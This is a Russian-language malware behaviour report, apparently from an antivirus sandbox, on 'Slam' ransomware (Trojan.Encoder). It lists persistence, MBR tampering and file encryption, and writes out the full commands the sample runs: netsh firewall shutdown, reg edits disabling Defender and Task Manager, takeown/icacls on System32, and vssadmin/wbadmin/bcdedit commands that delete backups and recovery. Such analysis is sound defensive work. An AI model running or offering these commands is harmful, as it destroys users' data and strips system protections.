Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Windows Update' = 'C:\temp\mbr.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windows update
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Подменяет следующие исполняемые системные файлы
- <SYSTEM32>\LogonUI.exe файлом <SYSTEM32>\logonui.exe
Заражает следующие исполняемые файлы
- <SYSTEM32>\logonui.exe
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Системный антивирус (Защитник Windows)
удаляет теневые копии разделов.
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
- '%WINDIR%\syswow64\netsh.exe' advfirewall set domainprofile state off
- '%WINDIR%\syswow64\netsh.exe' advfirewall set privateprofile state off
- '%WINDIR%\syswow64\netsh.exe' advfirewall set publicprofile state off
Читает файлы, отвечающие за хранение паролей сторонними программами
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\testee.cer
- %HOMEPATH%\desktop\testcertificate.cer
- %HOMEPATH%\desktop\sdksampleunprivdeveloper.cer
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\trivial-merge.htm
- %HOMEPATH%\desktop\dialmap.bmp
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\browse.htm
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\6c49.tmp\slam.bat
- %HOMEPATH%\pictures\readme_slam_ransomware.txt
- %HOMEPATH%\documents\readme_slam_ransomware.txt
- %HOMEPATH%\downloads\readme_slam_ransomware.txt
- %HOMEPATH%\desktop\readme_slam_ransomware.txt
- C:\temp\data\logonui.exe
- C:\temp\boot.bin
- <Текущая директория>\1.bat
- %HOMEPATH%\music\readme_slam_ransomware.txt
- <Текущая директория>\windowsformsapp1.exe
- <Текущая директория>\ucrtbased.dll
- <Текущая директория>\mbr.exe
- <Текущая директория>\logonui.exe
- <Текущая директория>\lo.exe
- <Текущая директория>\lector_mbr.exe
- <Текущая директория>\boot.exe
- <Текущая директория>\backtrack.png
- <Текущая директория>\vcruntime140d.dll
- %HOMEPATH%\videos\readme_slam_ransomware.txt
Удаляет следующие файлы
- <SYSTEM32>\logonui.exe
- C:\temp\lector_mbr.exe
- %TEMP%\6c49.tmp\slam.bat
- C:\temp\boot.bin
Перемещает следующие файлы
- <Текущая директория>\ucrtbased.dll в C:\temp\ucrtbased.dll
- <Текущая директория>\vcruntime140d.dll в C:\temp\vcruntime140d.dll
- <Текущая директория>\lo.exe в C:\temp\lo.exe
- <Текущая директория>\1.bat в C:\temp\1.bat
- <Текущая директория>\logonui.exe в C:\temp\logonui.exe
- <Текущая директория>\lector_mbr.exe в C:\temp\lector_mbr.exe
- <Текущая директория>\boot.exe в C:\temp\boot.exe
- <Текущая директория>\mbr.exe в C:\temp\mbr.exe
- <Текущая директория>\backtrack.png в C:\temp\backtrack.png
- <Текущая директория>\windowsformsapp1.exe в C:\temp\windowsformsapp1.exe
- C:\temp\data\logonui.exe в C:\temp\data\logonui.exe.slam
Изменяет следующие файлы
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\browse.htm
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\google chrome.lnk
- %HOMEPATH%\desktop\telegram.lnk
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Изменяет расширения файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
UDP
- 'localhost':58524
- 'localhost':54077
Другое
Создает и запускает на исполнение
- 'C:\temp\lector_mbr.exe'
- 'C:\temp\lo.exe'
- 'C:\temp\windowsformsapp1.exe'
- 'C:\temp\mbr.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6C49.tmp\slam.bat" "<Полный путь к файлу>""' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /k takeown /f <SYSTEM32> && icacls <SYSTEM32> /grant "%username%:F"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c takeown /f <SYSTEM32> && icacls <SYSTEM32> /grant "%username%:F"' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Windows Update" /ru SYSTEM /SC ONSTART /TR "C:\temp\mbr.exe"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6C49.tmp\slam.bat" "<Полный путь к файлу>""
- '<SYSTEM32>\cmd.exe' /k takeown /f <SYSTEM32> && icacls <SYSTEM32> /grant "%username%:F"
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>
- '<SYSTEM32>\icacls.exe' <SYSTEM32> /grant "user:F"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\System\ /v DisableCMD /t REG_DWORD /d 2 /f
- '%WINDIR%\syswow64\cmd.exe' /c takeown /f <SYSTEM32> && icacls <SYSTEM32> /grant "%username%:F"
- '%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Windows Update" /ru SYSTEM /SC ONSTART /TR "C:\temp\mbr.exe"
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
- '%WINDIR%\syswow64\icacls.exe' <SYSTEM32> /grant "user:F"
